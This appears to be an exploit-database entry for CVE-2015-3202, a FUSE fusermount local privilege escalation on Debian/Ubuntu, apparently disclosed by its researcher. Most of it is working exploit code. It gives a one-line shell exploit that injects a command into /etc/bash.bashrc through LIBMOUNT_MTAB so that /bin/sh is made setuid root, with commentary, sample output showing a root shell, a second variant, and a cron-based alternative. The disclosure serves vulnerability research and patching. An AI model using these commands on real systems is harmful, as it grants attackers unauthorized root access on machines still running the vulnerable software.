Lucene search

K
exploitpackTavis OrmandyEXPLOITPACK:2837E3DF5496347FFFA3DDBA019983FB
HistoryMay 23, 2015 - 12:00 a.m.

Fuse 2.9.3-15 - Local Privilege Escalation

2015-05-2300:00:00
Tavis Ormandy
13

3.6 Low

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:N/I:P/A:P

Fuse 2.9.3-15 - Local Privilege Escalation

Source: https://gist.github.com/taviso/ecb70eb12d461dd85cba
Tweet: https://twitter.com/taviso/status/601370527437967360
Recommend Reading: http://seclists.org/oss-sec/2015/q2/520
YouTube: https://www.youtube.com/watch?v=V0i3uJJPJ88



# Making a demo exploit for CVE-2015-3202 on Ubuntu fit in a tweet.
 
12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890
a=/tmp/.$$;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
 
# Here's how it works, $a holds the name of a shellscript to be executed as
# root.
a=/tmp/.$$;
 
# $b is used twice, first to build the contents of shellscript $a, and then as
# a command to make $a executable. Quotes are unused to save a character, so
# the seperator must be escaped.
b=chmod\ u+sx;
 
# Build the shellscript $a, which should contain "chmod u+sx /bin/sh", making
# /bin/sh setuid root. This only works on Debian/Ubuntu because they use dash,
# and dont make it drop privileges.
#
# http://www.openwall.com/lists/oss-security/2013/08/22/12
#
echo $b /bin/sh>$a;
 
# Now make the $a script executable using the command in $b. This needlessly
# sets the setuid bit, but that doesn't do any harm.
$b $a;
 
# Now make $a the directory we want fusermount to use. This directory name is
# written to an arbitrary file as part of the vulnerability, so needs to be
# formed such that it's a valid shell command.
a+=\;$a;
 
# Create the mount point for fusermount.
mkdir -p $a;
 
# fusermount calls setuid(geteuid()) to reset the ruid when it invokes
# /bin/mount so that it can use privileged mount options that are normally
# restricted if ruid != euid. That's acceptable (but scary) in theory, because
# fusermount can sanitize the call to make sure it's safe.
#
# However, because mount thinks it's being invoked by root, it allows
# access to debugging features via the environment that would not normally be
# safe for unprivileged users and fusermount doesn't sanitize them.
#
# Therefore, the bug is that the environment is not cleared when calling mount
# with ruid=0. One debugging feature available is changing the location of
# /etc/mtab by setting LIBMOUNT_MTAB, which we can abuse to overwrite arbitrary
# files.
#
# In this case, I'm trying to overwrite /etc/bash.bashrc (using the name of the
# current shell from $0...so it only works if you're using bash!).
#
# The line written by fusermount will look like this:
#
# /dev/fuse /tmp/.123;/tmp/.123 fuse xxx,xxx,xxx,xxx
#
# Which will try to execute /dev/fuse with the paramter /tmp/_, fail because
# /dev/fuse is a device node, and then execute /tmp/_ with the parameters fuse
# xxx,xxx,xxx,xxx. This means executing /bin/sh will give you a root shell the
# next time root logs in.
#
# Another way to exploit it would be overwriting /etc/default/locale, then
# waiting for cron to run /etc/cron.daily/apt at midnight. That means root
# wouldn't have to log in, but you would have to wait around until midnight to
# check if it worked.
#
# And we have enough characters left for a hash tag/comment.
LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
 
# Here is how the exploit looks when you run it:
#
# $ a=/tmp/_;b=chmod\ u+sx;echo $b /bin/sh>$a;$b $a;a+=\;$a;mkdir -p $a;LIBMOUNT_MTAB=/etc/$0.$0rc _FUSE_COMMFD=0 fusermount $a #CVE-2015-3202
# fusermount: failed to open /etc/fuse.conf: Permission denied
# sending file descriptor: Socket operation on non-socket
# $ cat /etc/bash.bashrc 
# /dev/fuse /tmp/_;/tmp/_ fuse rw,nosuid,nodev,user=taviso 0 0
#
# Now when root logs in next...
# $ sudo -s
# bash: /dev/fuse: Permission denied
# # ls -Ll /bin/sh
# -rwsr-xr-x 1 root root 121272 Feb 19  2014 /bin/sh
# # exit
# $ sh -c 'id'
# euid=0(root) groups=0(root)
#
# To repair the damage after testing, do this:
#
# $ sudo rm /etc/bash.bashrc
# $ sudo apt-get install -o Dpkg::Options::="--force-confmiss" --reinstall -m bash
# $ sudo chmod 0755 /bin/sh
# $ sudo umount /tmp/.$$\;/tmp/.$$
# $ rm -rf /tmp/.$$ /tmp/.$$\;
#


- - - - - - - - - - -


$ printf "chmod 4755 /bin/dash" > /tmp/exploit && chmod 755 /tmp/exploit
$ mkdir -p '/tmp/exploit||/tmp/exploit'
$ LIBMOUNT_MTAB=/etc/bash.bashrc  _FUSE_COMMFD=0 fusermount '/tmp/exploit||/tmp/exploit'
fusermount: failed to open /etc/fuse.conf: Permission denied
sending file descriptor: Socket operation on non-socket
$ cat /etc/bash.bashrc
/dev/fuse /tmp/exploit||/tmp/exploit fuse rw,nosuid,nodev,user=taviso 0 0

Then simply wait for root to login, or alternatively overwrite
/etc/default/locale and wait for cron to run a script that sources it.
That means root wouldn't have to log in, but you would have to wait
around until midnight to check if it worked.

3.6 Low

CVSS2

Access Vector

LOCAL

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:L/AC:L/Au:N/C:N/I:P/A:P